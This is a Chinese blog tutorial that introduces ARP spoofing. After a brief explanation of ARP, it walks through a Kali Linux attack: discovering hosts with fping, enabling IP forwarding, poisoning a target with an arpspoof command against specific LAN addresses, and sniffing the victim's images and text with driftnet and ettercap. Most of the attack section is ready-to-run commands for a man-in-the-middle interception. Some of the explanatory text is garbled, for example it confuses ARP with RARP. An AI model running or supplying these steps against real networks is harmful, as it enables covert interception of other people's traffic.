链滴

信息安全之 --arp 欺骗入门

作者：xiaowei127

原文链接：https://ld246.com/article/1536126043460

来源网站：链滴

基本概念

ARP（Address Resolution Protocol）地址转换协议，工作在OSI模型的数据链路层，在以太网中，络设备之间互相通信是用MAC地址而不是IP地址，ARP协议就是用来把IP地址转换为MAC地址的。而ARP和ARP相反，它是反向地址转换协议，把MAC地址转换为IP地址。

假设A(192.168.1.2)与B(192.168.1.3)在同一局域网，A要和B实现通信。A首先会发送一个数据包到播地址(192.168.1.255)，该数据包中包含了源IP（A）、源MAC、目的IP（B）、目的MAC，这个数包会被发放给局域网中所有的主机，但是只有B主机会回复一个包含了源IP（B）、源MAC、目的IP（）、目的MAC的数据包给A，同时A主机会将返回的这个地址保存在ARP缓存表中。

前提要素

- kali系统主机
- 目标主机
- 以上两台主机在同一局域网段

所需必要信息

- 目标主机ip
- 本机ip
- 所在网关

获取必要信息

获取目标主机ip

打开命令行工具切换到 root 用户
fping参数介绍

1、命令参数man、-h、--htlp等方式查看使用方法。

常用参数介绍

-a 只显示出存活的主机参数

-u 只显示出不存活的主机参数

通过标准输入方式fping +IP1 +IP2 ....

-g 支持主极端的方式 192.168.1.1 192.168.1.155 或者 192.168.1.0/24

fping -g 192.168.1.0/24

选定ip后继续查看本机ip信息

ifconfig

开启本机ip转发

echo 1 > /proc/sys/net/ipv4/ip_forward

查看是否设置成功

cat /proc/sys/net/ipv4/ip_forward

如果回显是1表示开启转发成功

执行arpspoof命令
后面接上与网络有关的-i（interface）
网卡eth0
目标-t（target）
目标IP：192.168.1.112
目标主机网关192.168.1.1
注意：如果是WiFi 网络 将 网关 和 目标 ip 互换

arpspoof -i eth0 -t 192.168.1.112 192.168.1.1

开启arp转发后就可以进行流量监听了

图片监听

driftnet -i eth0

文本监听

ettercap -Tq -i eth0